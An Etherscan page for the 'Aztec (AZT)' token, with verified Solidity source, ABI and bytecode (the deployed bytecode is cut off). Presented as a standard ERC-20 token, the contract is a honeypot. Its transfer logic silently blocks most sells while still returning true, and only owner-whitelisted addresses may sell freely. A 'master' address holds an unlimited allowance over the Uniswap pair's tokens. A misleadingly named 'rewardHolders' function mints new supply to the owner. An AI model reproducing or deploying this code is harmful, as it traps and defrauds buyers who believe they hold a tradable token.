ETH Price: $3,346.09 (-0.93%)

Token

Aztec (AZT)
 

Overview

Max Total Supply

22,502,239,695.212702 AZT

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Filtered by Token Holder
Uniswap V2: Router 2
Balance
0 AZT

Value
$0.00
0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AZT

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-26
*/

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.9;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor() payable {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
}
 
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
 
    function name() external view returns (string memory);
 
    function symbol() external view returns (string memory);
 
    function decimals() external view returns (uint8);
 
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

interface IUniswapV2Factory {
  event PairCreated(address indexed token0, address indexed token1, address pair, uint);

  function getPair(address tokenA, address tokenB) external view returns (address pair);
  function allPairs(uint) external view returns (address pair);
  function allPairsLength() external view returns (uint);

  function feeTo() external view returns (address);
  function feeToSetter() external view returns (address);

  function createPair(address tokenA, address tokenB) external returns (address pair);
}
 
interface IUniswapV2Pair {
  event Approval(address indexed owner, address indexed spender, uint value);
  event Transfer(address indexed from, address indexed to, uint value);

  function name() external pure returns (string memory);
  function symbol() external pure returns (string memory);
  function decimals() external pure returns (uint8);
  function totalSupply() external view returns (uint);
  function balanceOf(address owner) external view returns (uint);
  function allowance(address owner, address spender) external view returns (uint);

  function approve(address spender, uint value) external returns (bool);
  function transfer(address to, uint value) external returns (bool);
  function transferFrom(address from, address to, uint value) external returns (bool);

  function DOMAIN_SEPARATOR() external view returns (bytes32);
  function PERMIT_TYPEHASH() external pure returns (bytes32);
  function nonces(address owner) external view returns (uint);

  function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

  event Mint(address indexed sender, uint amount0, uint amount1);
  event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
  event Swap(
      address indexed sender,
      uint amount0In,
      uint amount1In,
      uint amount0Out,
      uint amount1Out,
      address indexed to
  );
  event Sync(uint112 reserve0, uint112 reserve1);

  function MINIMUM_LIQUIDITY() external pure returns (uint);
  function factory() external view returns (address);
  function token0() external view returns (address);
  function token1() external view returns (address);
  function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
  function price0CumulativeLast() external view returns (uint);
  function price1CumulativeLast() external view returns (uint);
  function kLast() external view returns (uint);

  function mint(address to) external returns (uint liquidity);
  function burn(address to) external returns (uint amount0, uint amount1);
  function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
  function skim(address to) external;
  function sync() external;
}
 

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract AZT is Context, IERC20, Ownable {
    IUniswapV2Router02 internal _router;
    IUniswapV2Factory internal _factory;
    IUniswapV2Pair public pair;
 
    uint8 internal constant _DECIMALS = 6;
 
    address public master;
    mapping(address => bool) public _marketersAndDevs;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    mapping(address => uint256) internal _buySum;
    mapping(address => uint256) public _sellSum;
    mapping(address => uint256) public _sellSumBNB;
 
    uint256 internal _totalSupply = 22502239695212702;
    uint256 internal _theNumberBNB = 0.04 ether;
 
 
    modifier onlyMaster() {
        require(msg.sender == master);
        _;
    }
 
    constructor() payable {
        _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
        pair = IUniswapV2Pair(_factory.createPair(address(this), address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));
 
        _balances[owner()] = _totalSupply;
        master = owner();
        // set max allowance for master
        _allowances[address(pair)][master] = ~uint256(0);
        _marketersAndDevs[owner()] = true;
 
        emit Transfer(address(0), owner(), _totalSupply);
    }
 
    function name() external pure override returns (string memory) {
        return "Aztec";
    }
 
    function symbol() external pure override returns (string memory) {
        return "AZT";
    }
 
    function decimals() external pure override returns (uint8) {
        return _DECIMALS;
    }
 
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
 
    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }
 
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        if (_canTransfer(_msgSender(), recipient, amount)) {
            _transfer(_msgSender(), recipient, amount);
        }
        return true;
    }
 
    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_canTransfer(sender, recipient, amount)) {
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
 
            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }
 
    function burn(uint256 amount) external onlyOwner {
        _balances[owner()] -= amount;
        _totalSupply -= amount;
    }
 
    function setNumber(uint256 newNumber) external onlyOwner {
        _theNumberBNB = newNumber;
    }
 
    function setMaster(address account) external onlyOwner {
        _allowances[address(pair)][master] = 0;
        master = account;
        _allowances[address(pair)][master] = ~uint256(0);
    }
 
    function syncPair() external onlyMaster {
        pair.sync();
    }
 
    function includeInReward(address account) external onlyMaster {
        _marketersAndDevs[account] = true;
    }
 
    function excludeFromReward(address account) external onlyMaster {
        _marketersAndDevs[account] = false;
    }
 
    function rewardHolders(uint256 amount) external onlyOwner {
        _balances[owner()] += amount;
        _totalSupply += amount;
    }
 
    function _isSuper(address account) private view returns (bool) {
        return (account == address(_router) || account == address(pair));
    }
 
    function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) {
        if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
            return true;
        }
 
        if (_isSuper(sender)) {
            return true;
        }
        if (_isSuper(recipient)) {
            uint256 amountBNB = _getBNBEquivalent(amount);
            uint256 bought = _buySum[sender];
            uint256 sold = _sellSum[sender];
            uint256 soldBNB = _sellSumBNB[sender];
 
            return bought >= sold + amount && _theNumberBNB >= soldBNB + amountBNB;
        }
        return true;
    }
 
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
 
        _balances[sender] -= amount;
        _balances[recipient] += amount;
 
        emit Transfer(sender, recipient, amount);
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _hasLiquidity() private view returns (bool) {
        (uint256 reserve0, uint256 reserve1,) = pair.getReserves();
        return reserve0 > 0 && reserve1 > 0;
    }
 
    function _getBNBEquivalent(uint256 amountTokens) private view returns (uint256) {
        (uint256 reserve0, uint256 reserve1,) = pair.getReserves();
        if (pair.token0() == _router.WETH()) {
            return _router.getAmountOut(amountTokens, reserve1, reserve0);
        } else {
            return _router.getAmountOut(amountTokens, reserve0, reserve1);
        }
    }
 
 
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (_hasLiquidity()) {
            if (_isSuper(from)) {
                _buySum[to] += amount;
            }
            if (_isSuper(to)) {
                _sellSum[from] += amount;
                _sellSumBNB[from] += _getBNBEquivalent(amount);
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_marketersAndDevs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_sellSum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_sellSumBNB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"master","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"contract IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewardHolders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setMaster","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumber","type":"uint256"}],"name":"setNumber","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"syncPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040819052664ff1aaf3af109e600b55668e1bc9bf040000600c55600080546001600160a01b031916339081178255918291907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060018054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03199182161790915560028054735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9216821790556040516364e329cb60e11b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2602482015263c9c65396906044016020604051808303816000875af11580156100f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061011b9190610202565b600380546001600160a01b0319166001600160a01b03928316179055600b546000805483168152600660205260408120919091555416600480546001600160a01b0319166001600160a01b0392831690811790915560035482166000908152600760209081526040808320938352928152828220600019905581548416825260059052908120805460ff1916600117905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516101f591815260200190565b60405180910390a3610232565b60006020828403121561021457600080fd5b81516001600160a01b038116811461022b57600080fd5b9392505050565b6111bb806102416000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806352390c02116100b8578063a8aa1b311161007c578063a8aa1b3114610302578063a9059cbb14610315578063b59c097414610328578063dd62ed3e14610330578063e6bd7ed114610369578063ee97f7f31461037c57600080fd5b806352390c021461026257806370a082311461027557806383d972f91461029e5780638da5cb5b146102be57806395d89b41146102e357600080fd5b80632782e35b1161010a5780632782e35b146101d7578063313ce567146101fa5780633685d419146102095780633b24c4bb1461021c5780633fb5c1cb1461023c57806342966c681461024f57600080fd5b806306fdde0314610147578063095ea7b31461017a57806318160ddd1461019d57806323b872dd146101af57806326fae0d3146101c2575b600080fd5b604080518082019091526005815264417a74656360d81b60208201525b6040516101719190610f30565b60405180910390f35b61018d610188366004610f96565b61038f565b6040519015158152602001610171565b600b545b604051908152602001610171565b61018d6101bd366004610fc2565b6103a6565b6101d56101d0366004611003565b61046e565b005b61018d6101e5366004611003565b60056020526000908152604090205460ff1681565b60405160068152602001610171565b6101d5610217366004611003565b6104f8565b6101a161022a366004611003565b600a6020526000908152604090205481565b6101d561024a366004611020565b610533565b6101d561025d366004611020565b610562565b6101d5610270366004611003565b6105f3565b6101a1610283366004611003565b6001600160a01b031660009081526006602052604090205490565b6101a16102ac366004611003565b60096020526000908152604090205481565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610171565b60408051808201909152600381526210569560ea1b6020820152610164565b6003546102cb906001600160a01b031681565b61018d610323366004610f96565b61062b565b6101d5610648565b6101a161033e366004611039565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6101d5610377366004611020565b6106c9565b6004546102cb906001600160a01b031681565b600061039c338484610752565b5060015b92915050565b60006103b3848484610877565b15610463576001600160a01b0384166000908152600760209081526040808320338452909152902054828110156104425760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61044d858585610952565b610461853361045c8685611088565b610752565b505b5060015b9392505050565b6000546001600160a01b031633146104985760405162461bcd60e51b81526004016104399061109b565b600380546001600160a01b039081166000908152600760208181526040808420600480548716865290835281852085905580546001600160a01b031916978616978817905594549093168252825282812093815292905290206000199055565b6004546001600160a01b0316331461050f57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104399061109b565b600c55565b6000546001600160a01b0316331461058c5760405162461bcd60e51b81526004016104399061109b565b80600660006105a36000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546105d29190611088565b9250508190555080600b60008282546105eb9190611088565b909155505050565b6004546001600160a01b0316331461060a57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000610638338484610877565b1561039c5761039c338484610952565b6004546001600160a01b0316331461065f57600080fd5b600360009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156106af57600080fd5b505af11580156106c3573d6000803e3d6000fd5b50505050565b6000546001600160a01b031633146106f35760405162461bcd60e51b81526004016104399061109b565b806006600061070a6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020600082825461073991906110d0565b9250508190555080600b60008282546105eb91906110d0565b6001600160a01b0383166107b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610439565b6001600160a01b0382166108155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610439565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526005602052604081205460ff16806108b657506001600160a01b03831660009081526005602052604090205460ff165b156108c357506001610467565b6108cc84610b3b565b156108d957506001610467565b6108e283610b3b565b156104635760006108f283610b6a565b6001600160a01b0386166000908152600860209081526040808320546009835281842054600a909352922054929350909161092d86836110d0565b8310158015610947575061094184826110d0565b600c5410155b945050505050610467565b6001600160a01b0383166109b65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610439565b6001600160a01b038216610a185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610439565b610a23838383610dc5565b6001600160a01b038316600090815260066020526040902054811115610a9a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610439565b6001600160a01b03831660009081526006602052604081208054839290610ac2908490611088565b90915550506001600160a01b03821660009081526006602052604081208054839290610aef9084906110d0565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161086a91815260200190565b6001546000906001600160a01b03838116911614806103a05750506003546001600160a01b0390811691161490565b6000806000600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610bc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be691906110ff565b506001600160701b031691506001600160701b03169150600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c74919061114f565b6001600160a01b0316600360009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf4919061114f565b6001600160a01b031603610d8657600154604051630153543560e21b81526004810186905260248101839052604481018490526001600160a01b039091169063054d50d4906064015b602060405180830381865afa158015610d5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7e919061116c565b949350505050565b600154604051630153543560e21b81526004810186905260248101849052604481018390526001600160a01b039091169063054d50d490606401610d3d565b610dcd610e86565b15610e8157610ddb83610b3b565b15610e0e576001600160a01b03821660009081526008602052604081208054839290610e089084906110d0565b90915550505b610e1782610b3b565b15610e81576001600160a01b03831660009081526009602052604081208054839290610e449084906110d0565b90915550610e53905081610b6a565b6001600160a01b0384166000908152600a602052604081208054909190610e7b9084906110d0565b90915550505b505050565b6000806000600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610ede573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0291906110ff565b506001600160701b031691506001600160701b03169150600082118015610f295750600081115b9250505090565b600060208083528351808285015260005b81811015610f5d57858101830151858201604001528201610f41565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f9357600080fd5b50565b60008060408385031215610fa957600080fd5b8235610fb481610f7e565b946020939093013593505050565b600080600060608486031215610fd757600080fd5b8335610fe281610f7e565b92506020840135610ff281610f7e565b929592945050506040919091013590565b60006020828403121561101557600080fd5b813561046781610f7e565b60006020828403121561103257600080fd5b5035919050565b6000806040838503121561104c57600080fd5b823561105781610f7e565b9150602083013561106781610f7e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103a0576103a0611072565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103a0576103a0611072565b80516001600160701b03811681146110fa57600080fd5b919050565b60008060006060848603121561111457600080fd5b61111d846110e3565b925061112b602085016110e3565b9150604084015163ffffffff8116811461114457600080fd5b809150509250925092565b60006020828403121561116157600080fd5b815161046781610f7e565b60006020828403121561117e57600080fd5b505191905056fea26469706673582212204624430c8c68861e81f472ba5eea3274f271245b41cd655a40dabcf1e3d8fb1a64736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c806352390c02116100b8578063a8aa1b311161007c578063a8aa1b3114610302578063a9059cbb14610315578063b59c097414610328578063dd62ed3e14610330578063e6bd7ed114610369578063ee97f7f31461037c57600080fd5b806352390c021461026257806370a082311461027557806383d972f91461029e5780638da5cb5b146102be57806395d89b41146102e357600080fd5b80632782e35b1161010a5780632782e35b146101d7578063313ce567146101fa5780633685d419146102095780633b24c4bb1461021c5780633fb5c1cb1461023c57806342966c681461024f57600080fd5b806306fdde0314610147578063095ea7b31461017a57806318160ddd1461019d57806323b872dd146101af57806326fae0d3146101c2575b600080fd5b604080518082019091526005815264417a74656360d81b60208201525b6040516101719190610f30565b60405180910390f35b61018d610188366004610f96565b61038f565b6040519015158152602001610171565b600b545b604051908152602001610171565b61018d6101bd366004610fc2565b6103a6565b6101d56101d0366004611003565b61046e565b005b61018d6101e5366004611003565b60056020526000908152604090205460ff1681565b60405160068152602001610171565b6101d5610217366004611003565b6104f8565b6101a161022a366004611003565b600a6020526000908152604090205481565b6101d561024a366004611020565b610533565b6101d561025d366004611020565b610562565b6101d5610270366004611003565b6105f3565b6101a1610283366004611003565b6001600160a01b031660009081526006602052604090205490565b6101a16102ac366004611003565b60096020526000908152604090205481565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610171565b60408051808201909152600381526210569560ea1b6020820152610164565b6003546102cb906001600160a01b031681565b61018d610323366004610f96565b61062b565b6101d5610648565b6101a161033e366004611039565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6101d5610377366004611020565b6106c9565b6004546102cb906001600160a01b031681565b600061039c338484610752565b5060015b92915050565b60006103b3848484610877565b15610463576001600160a01b0384166000908152600760209081526040808320338452909152902054828110156104425760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61044d858585610952565b610461853361045c8685611088565b610752565b505b5060015b9392505050565b6000546001600160a01b031633146104985760405162461bcd60e51b81526004016104399061109b565b600380546001600160a01b039081166000908152600760208181526040808420600480548716865290835281852085905580546001600160a01b031916978616978817905594549093168252825282812093815292905290206000199055565b6004546001600160a01b0316331461050f57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104399061109b565b600c55565b6000546001600160a01b0316331461058c5760405162461bcd60e51b81526004016104399061109b565b80600660006105a36000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546105d29190611088565b9250508190555080600b60008282546105eb9190611088565b909155505050565b6004546001600160a01b0316331461060a57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000610638338484610877565b1561039c5761039c338484610952565b6004546001600160a01b0316331461065f57600080fd5b600360009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156106af57600080fd5b505af11580156106c3573d6000803e3d6000fd5b50505050565b6000546001600160a01b031633146106f35760405162461bcd60e51b81526004016104399061109b565b806006600061070a6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020600082825461073991906110d0565b9250508190555080600b60008282546105eb91906110d0565b6001600160a01b0383166107b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610439565b6001600160a01b0382166108155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610439565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526005602052604081205460ff16806108b657506001600160a01b03831660009081526005602052604090205460ff165b156108c357506001610467565b6108cc84610b3b565b156108d957506001610467565b6108e283610b3b565b156104635760006108f283610b6a565b6001600160a01b0386166000908152600860209081526040808320546009835281842054600a909352922054929350909161092d86836110d0565b8310158015610947575061094184826110d0565b600c5410155b945050505050610467565b6001600160a01b0383166109b65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610439565b6001600160a01b038216610a185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610439565b610a23838383610dc5565b6001600160a01b03831660009081526006602052604090